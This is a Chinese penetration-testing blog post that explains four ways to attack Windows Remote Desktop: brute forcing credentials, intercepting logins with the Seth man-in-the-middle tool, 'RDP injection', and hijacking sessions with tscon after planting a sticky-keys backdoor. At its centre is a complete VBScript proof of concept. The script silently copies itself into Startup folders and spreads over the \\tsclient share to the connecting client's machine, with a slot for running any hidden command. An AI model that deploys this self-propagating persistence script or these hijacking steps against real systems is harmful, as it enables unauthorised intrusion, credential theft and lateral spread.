浅谈针对rdp协议的四种测试方法

本文作者:hl0rey(来自信安之路作者团队)

渗透测试通常情况下是以功能为导向的。一组协议通常能支持、实现一种功能。本文浅谈一下针对 RDP 协议的几种测试方法,也就是针对远程桌面这种功能的利用。本人水平有限,但仍希望对大家能有帮助。

基本介绍

这里讨论的是 windows 下的 rdp(Remote Display Protocol )协议,也就是 windows 的远程桌面。通过提供一个有效的用户账号密码即可登陆到服务端,进行图形界面下的操作。

信息收集

用 msf 中模块来识别 rdp 服务,速度很快。

scanner/rdp/rdp_scanner

msf 模块的 rdp 扫描过程浅析

nmap 没有精确识别 rdp 服务,msf 模块却能又快又好的识别,因吹斯听。稍微看下 rdp 协议数据包结构,然后用 wirehark 抓包分析一下 msf 模块的扫描过程。

rdp 数据包结构资料(只看前三页即可,就能看懂扫描的过程了)

https://wenku.baidu.com/view/f29f410552ea551810a68789.html

打开之后发现 wireshark 并没有识别出 rdp 协议,意料之外。忽略 tcp 三次握手的数据包,找到传送数据的包。

通过查看 rdp 数据包结构的资料,我们可以知道,windows 下的 rdp 数据包是经过 TPKT 协议封装之后的,所以我们在数据包上选择 decode as

找到 tpkt,点 ok

然后就会发现 rdp 协议已经被正确解码了。

然后就很容易就能看出扫描的思路了,常规的扫描的套路。发个定制请求包,服务器给了回应了,就确定服务器运行的是某服务。

其实不让 wireshark 帮忙解码,也能看出来这常规的扫描套路。因为 msf 模块就是直接用正则匹配的数据包内容。瞅一眼 msf 模块的源码,看一下判断是否是 rdp 协议的核心逻辑。

第一个箭头处的正则表达式匹配了返回包的开头几个字节,只要匹配上了第二个箭头处的if成立就输出结果了。

渗透测试方法

凭据爆破

条件限制
  • 目标 RDP 协议端口向你开放
演示

暴力破解服务器远程桌面账户密码,最好做一下前期的信息收集,猜测下目标的用户名,比如通过 smb 协议。如果 smb 协议可以爆破的话,还是爆破 smb 协议吧,因为 rdp 协议比较脆弱,经不起高速的爆破。

hydra 走起。轻轻地爆破,不能太暴力。(hydra 不支持 2008/7 之后系统)

肯定是要对 2008 以后的机器也进行测试的,所以我在 GitHub 上随便找了点工具,发现大体上实现思路是两个,一种是 windows 下 C# 实现的,一种是 linux 下靠 freerdp 实现。但是都不是太好用,还是自己用 python 写一个吧。

所用到的库:

https://github.com/citronneur/rdpy

对于不擅长写代码的我来说挺麻烦的,我还没写出来,本事不够。再说爆破 rdp 应该不是明智之选吧。

RDP中间人攻击

通过任意方式将受害者的流量欺骗至攻击者机器,然后再用相关的工具处理用户登陆远程桌面的流量。

条件限制
  • 能够把受害者机器的流量欺骗至攻击者机器
  • 受害者使用远程桌面
演示

RDP 中间人攻击工具 Seth

https://github.com/SySS-Research/Seth

稍微看看文档,直接运行。

去受害机登陆一个远程主机,然后再回来看结果,红色文字处及是抓到的明文密码,抓完密码就退出脚本,深藏功与名。

再看受害者机器这边,一脸懵逼,浑然不觉。

RDP注入

windows 下有个叫 Startup 的特殊目录,每次用户登陆的时候都会强制运行在之下的程序。当 A 远程登陆到 B 机器时,如果选择将 A 的 C 盘共享到远程主机,那么在此次会话中就出现了一个名为 tsclient 的共享指向主机 A 共享的磁盘。rdp 注入就是通过访问共享的方式把可执行文件放到 A 的 startup 目录下。

条件限制
  • 用户登陆到远程主机
  • 用户将本机的 C 盘分享到远程主机
  • 当前用户在 startup 目录有写权限
演示

网上有 bat 的 poc,但是缺点很明显,运行时会显示 cmd 的黑框,所以我就用 vbs 写了一个不会显示黑框的。代码写的不好,算是抛砖引玉了。想要测试的时候把我做的中文注释都去掉,并且把脚本以 ANSI 编码格式保存然后拿去测试即可。

On Error Resume Next
'脚本暂停五秒后再执行,避免网络延迟对结果有影响
wscript.sleep 1000*5
'定义一堆要用到的变量,创建两个要用到的对象
Dim WshShell,sudir,objFSO,sufile,fn,tsdir,tssubdir,tsusersu,tsdir2,tssubdir2
Set WshShell = CreateObject("wscript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
'把脚本复制到本机的启动目录,只复制到当前用户目录下,先取到目录路径
sudir=WshShell.SpecialFolders("StartUp")
fn=objFSO.GetFile(Wscript.scriptfullname).name
sufile=sudir+"\"+fn
'查看文件是否存在,不存在的话,就复制过去
If Not objFSO.FileExists(sufile) Then
    objFSO.GetFile(Wscript.scriptfullname).copy(sufile)
End If
'查看远程机器的用户目录
Set tsdir=objFSO.GetFolder("\\tsclient\C\Users")
Set tssubdir=tsdir.SubFolders
'遍历目录,把普通用户的目录筛选出来
for each f in tssubdir
    If InStr(f,"All Users")=0 then
        If InStr(f,"Default")=0 then
            If InStr(f,"Default User")=0 then
                If InStr(f,"Public")=0 then
                    tsusersu=f
                End If
            End If 
        End If
    End If
Next
'构造出远程机器上的启动目录并且复制过去
tsusersu=tsusersu&"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"&fn
If Not objFSO.FileExists(tsusersu) Then
    objFSO.GetFile(Wscript.scriptfullname).copy(tsusersu)
End If

'你想执行的其他代码,这里就就纯是个poc了,让他弹个窗
'例如 wscript.CreateObject("wscript.shell").Run "你要执行的命令",vbhide
MsgBox "rdpinject success!"

现在 2008 上运行一下脚本,等待五秒之后会弹个窗(最好一句代码的做作用),看一眼启动路径有脚本,就成功了。

然后我用物理机去,远程登陆我的虚拟机 2008。

再看一眼我的启动目录(我把火绒关了,为了方便看效果,我估计会拦截)。

重启下我的机器(其实注销一下就能看到效果),成功弹窗,脚本被执行了。

RDP 会话劫持

在 system 权限下使用 tscon 连接到任意会话时不需要输入该用户的密码,所以就能在不知道其账户和密码的情况下以已登陆的其他账户的权限进行任意操作。

条件限制
  • 已经获得 system 权限的 shell
演示

先放一个 shift 后门到 2008,再创建几个账户,加到管理员组,用他们登陆上去。然后锁屏。来到登陆界面。五下 shift 激活后门。执行 query user 看看有哪些会话。

连接 test1 试试,执行 tscon 3,屏幕一黑,就链接过去了,也没让输入密码。

总结

  1. 针对 RDP 协议较为通用渗透测试的手法还是挺多的。尤其是在已经进入目标内网之中,或者已经获得服务器管理员权限的 shell 时。
  2. 虽然直接爆破 RDP 可能不是明智之选,但是多个选择也就多条路,希望各位大佬发力,编写支持新版本 RDP 协议的爆破工具,不然也就只能等着 hydra 的作者更新了。
  3. 本文粗浅地介绍了下四种测试方法,加入了部分个人不成熟的想法,欢迎各位看官批评指正。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-06-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏魏艾斯博客www.vpsss.net

如何创建.htaccess 文件

关于.htaccess 文件,一般用于虚拟主机中,使用 VPS 建站的可以忽略了。对于使用虚拟主机建站的朋友来说.htaccess 文件可以用作伪静态化设置和 ...

47880
来自专栏大魏分享(微信公众号:david-share)

用Ansible自动供应vmware虚拟机--构建数据中心一体化运维平台第二篇

1.1 简述 一直以来,打开邮箱被ticket糊一脸的事情时有发生。我一直在想,能不能以一种简单的方案(不花老板的钱)来供应(provisioning)虚拟机呢...

74620
来自专栏知识分享

9-开发板接入小五物联实现远程控制(Wi-Fi模块)

这一节为教程最终版功能演示,现在不必深究,早晚自己全部都会实现的(静静的跟着我学哈)

24820
来自专栏网络

代理工具shadowProxy之神出鬼没的切换IP地址

前言 在渗透测试过程中,往往会遇到特别“小气”的目标,稍微碰一下就封IP。这种情况下,我们很自然的想到通过网上大量的免费代理进行IP隐匿。 那么问题来了,难道拿...

40480
来自专栏信安之路

Red Team 工具集之攻击武器库

上图是一个 Red Team 攻击的生命周期,整个生命周期包括:信息收集、攻击尝试获得权限、持久性控制、权限提升、网络信息收集、横向移动、数据分析(在这个基础上...

24300
来自专栏开发与安全

中断机制和中断描述符表、中断和异常的处理

注:本分类下文章大多整理自《深入分析linux内核源代码》一书,另有参考其他一些资料如《linux内核完全剖析》、《linux c 编程一站式学习》等,只是为了...

28400
来自专栏中国白客联盟

【免费】渗透测试室内一对一培训-完结

----5.数据类型+字符串函数+常量+运算符+if判断+switch+while.mp4

1K30
来自专栏Linyb极客之路

Mysql被黑客入侵及安全措施总结

今天登陆在腾讯云服务器上搭建的Mysql数据库,发现数据库被黑了,黑客提示十分明显。

59450
来自专栏Seebug漏洞平台

使用 XML 内部实体绕过 Chrome 和 IE 的 XSS 过滤器

来源:BypassingXSSFiltersusingXMLInternalEntities 原作者:DavidLitchfield (david@davidl...

423100
来自专栏菩提树下的杨过

ActiveMQ笔记(6):消息延时投递

在开发业务系统时,某些业务场景需要消息定时发送或延时发送(类似:飞信的短信定时发送需求),这时候就需要用到activemq的消息延时投递,详细的文档可参考官网说...

47650

扫码关注云+社区

领取腾讯云代金券